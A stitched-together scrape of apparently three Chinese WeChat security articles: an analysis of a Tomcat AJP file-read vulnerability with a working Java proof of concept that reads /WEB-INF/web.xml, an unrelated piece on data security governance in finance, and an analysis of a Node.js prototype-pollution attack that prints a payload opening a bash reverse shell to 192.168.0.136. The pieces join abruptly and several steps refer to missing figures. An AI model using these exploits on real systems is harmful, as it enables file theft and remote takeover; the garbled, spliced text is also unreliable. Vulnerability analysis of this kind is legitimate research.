SimpleAjpClient便是发送AJP消息的客户端代码，支持服务端的连接与断开，支持对AJP消息头和消息体的构造。

关于整个AJP消息的消息头消息体怎么构造，消息头里面的code的值又是怎样额对应关系可以去参考[AJP协议总结与分析](https://www.cnblogs.com/softidea/p/5735102.html)

关于

漏洞分析

先看一下发送的恶意AJP消息包是怎么构造的，

``` javafile:Test.java
import com.glassy.utility.SimpleAjpClient;import com.glassy.utility.TesterAjpMessage;
import java.io.IOException;import javax.servlet.RequestDispatcher;
public class Test {    public static void main(String[] args) throws IOException {        SimpleAjpClient ac = new SimpleAjpClient();        String host = "localhost";        int port = 8009;        String uri = "/aaa.jsp";        String file = "/WEB-INF/web.xml";        ac.connect(host, port);        TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");        forwardMessage.end();        ac.sendMessage(forwardMessage);        while (true) {            byte[] responseBody = ac.readMessage();            if (responseBody == null || responseBody.length == 0) {                ac.disconnect();            } else {                System.out.print(new String(responseBody));            }        }    }}```

从构造的AJP消息包里可以看到，关于AJPMessage的核心内容有host、port、INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH，我们暂且在这里记下来，等我们打上断点的时候再去服务端看一看这些东西都是干什么的。

这prepareRequest种我们就拿到了这个值，并把request的method定义成了GET，

紧接着进入一个swith循环中给request定义了ADDR、PORT、PROTOCOL，之前在客户端设置的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH也放到了request.include中,

接下来就是一系列的反射，最终交给了JspServlet来处理这个请求，

接下来的操作便是把jspUri交给了getResource去读取文件内容

接下来就会造成文件读取了，总体的调用栈如下，

补充一下走DefaultServlet利用的调用栈，

修复建议

我这个漏洞的分析出的比较晚，相信修复方法大家也都知道了，我就顺便一提：

1、关闭AJP协议。

2、升级tomcat。

扫码关注

阅读原文

跳转微信打开

随着大数据时代的到来，带了很多的便利，但是也带来了更多的风险，作为一名安全行业工作者，对于这种变革更是体会深刻，笔者从事的是金融行业的安全工作，在此从数据安全工作落地的角度来聊一聊数据安全治理及具体工作中碰到的问题。

1.GDPR

2.DSMM

3.ISO27701

4.《银行业金融机构数据治理指引》

5.《个人信息安全规范》

依据数据的生命周期，我理了下在数据治理过程中需要注意的点及需要做的工作：

当然不止上面这些，比如终端安全、DLP等都需要进行严格控制，这些都是基于内部的数据安全控制措施，还有对于外部的威胁监控，比如敏感信息泄漏、业务方面的风险情报等也是我们需要关注的重点，不过在此不做详细介绍，仅列出一些在数据治理方面已经落地的点来做一下描述：

首先我们在做敏感等级的划分时一定不要定太多的等级，比如有这样定的S1、S2、S3、S4四级标准，也有这样定的四级标准：绝密、机密、秘密、非保密，当然也有定的绝密、机密、秘密、内部、公开五级标准，也有人提到定了7级的。

具体如何做，这个纯属看自己选择，在此则要提醒一下：不要定太多等级，落地比较困难，会给自己挖坑的，个人建议四级比较合适，比如：绝密、机密、秘密、非保密。

其次，我们在制定数据标准的时候一定要考虑准确性和通用性，这两者之间其实是有点矛盾的，笔者在此就碰到过问题，我们有一个比较通用标准（手机号、姓名、性别、身份证号码…...），也有一个很详细的业务标准（个人中文名称、个人手机号、亲属手机号、代理人手机号……），这两套标准在我们数据打标落地的时候自然而然的就出现冲突，不过可以通过合理定位来解决这种冲突，通用字段标准用来做敏感数据打标，也是敏感数据识别的规则编写依据，而业务标准字段名称则作为业务使用是参考的一个数据标准。也可以将通用字段标准作为一个标签打在业务字段标准上，如下：

比如，在应用系统中对敏感字段进行关键部位屏蔽，或者查看敏感信息时进行二次身份认证，这种一般是在数据属主查看自己敏感信息时可以用到，对于企业进行数据分析时用到的大量的客户数据则不能通过这种方法，因为会存在数据聚合场景下的信息泄漏的风险，通过关联性分析可以匹配出对应的客户敏感数据，所以在制定敏感数据屏蔽规则的时候一定要对其应用场景进行分析.

在我们确定好分级标准及字段标准后我们接下来要做的工作就是敏感数据的识别，对于敏感数据识别，我将其分为两部分：

围绕数据生命周期的安全过程，我将其分为两部分，数据安全和隐私保护，数据采集有内外之分，对于外部的数据采集需要数据属主的授权，在内部进行的数据采集则需要在不违背数据授权范围下进行，同时还要考虑数据的用途及业务合理性，但是我们再企业内部也经常会需要依托大量的用户数据进行一些分析统计，在此则不可避免的需要使用到用户的数据信息，那么我们又如何能够做到既不违背隐私保护的原则又满足自身的数据分析行为？

在此我们则需要引入《个人信息安全规范》中的解释，匿名化主要是指个人信息在通过技术处理后，无法被识破或还原；去标识化指在我们应用系统中展示敏感信息的时候我们可能会做一些屏蔽处理，可以通过屏蔽关键位置来进行掩码；双方进行数据匹配碰撞的时候则可以通过对唯一标示性字段进行不可逆的算法处理，比如sha256、sm3这种摘要算法，进行碰撞然后再将结果与自己数据的映射关系进行比对从而获取想要的结果，K-匿名的应用其实也是有很大的限制，多用于统计分析类的场景，因为不需要具体匹配到某个人，只是做一个统计分析的结果。

扫码关注

阅读原文

跳转微信打开

Nodejs的子进程创建如何获取客户端参数的代码写在了proccess.js中，我们关注下客户端参数解析以上

Nodejs的子进程创建

如何获取客户端参数的代码写在了proccess.js中，我们关注下客户端参数解析

以上代码是nodejs的exec方法的核心代码(卧槽，node自举了)。 可以看到代码调用了

normalizeExecArgs(command, options, callback);

而其中的options，是我们传入的命令行的参数，这个函数又调用了

function normalizeSpawnArguments，而这个函数又调用了execFile，而execFile调用了spawn，而在spawn 里定义了这样的代码

const env = options.env || process.env;  获取客户端的options

  const envPairs = [];

  // process.env.NODE_V8_COVERAGE always propagates, making it possible to

  // collect coverage for programs that spawn with white-listed environment.

  if (process.env.NODE_V8_COVERAGE &&

      !ObjectPrototype.hasOwnProperty(options.env || {}, 'NODE_V8_COVERAGE')) {

    env.NODE_V8_COVERAGE = process.env.NODE_V8_COVERAGE;

  }

  // Prototype values are intentionally included.

  for (const key in env) {

    const value = env[key];

    if (value !== undefined) {

      envPairs.push(`${key}=${value}`);

    }

  }

作者核心点

作者在命令行下尝试了

这是在shell里设置了一个NODE_OPTIONS的值和AAA环境变量，其中NODE_OPTIONS是可以这么写的，官方允许传递这样的参数，具体的文档在http://nodejs.cn/api/cli/node_options_options.html

关于.env和process.env和/proc/self/environ

简单的说就是object.env下的属性就会被写入到/proc/self/environ里。

.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

根据作者核心思路“在shell下传递options可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量”，我们开始尝试使用代码来设置环境变量而不是shell。

如何在代码里设置环境变量？

答案是通过原型链污染，我们先污染object.env，也就是设置label.__proto__.env.NODE_OPTIONS，这样的话我们去访问process.env.NODE_OPTIONS就是我们设置的值，根据上面nodejs核心代码child_process.js的逻辑，我们传递的options最终会变成spawn的一个参数 ，作为环境变量执行。

文件包含获得shell

最后我们通过label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ' 的设置了process.env.NODE_OPTIONS的值，被node读取到了，然后根据官方手册里写的，相当于运行了node --require “xxx.xxx” (就和php里的include 一样，node require的不一定非要是js文件，就和php不一定要是php文件一样)

Poc的另外一句话是：

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')

这里的AAA也是会被写入到/proc/self/environ，最后的环境变量应该是

AAA= require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//NODE_OPTIONS=--require /proc/self/environYarn_VERSION=1.17.3HOSTNAME=7da7727ddePWD=balabalabalabala#^&*(*&^%$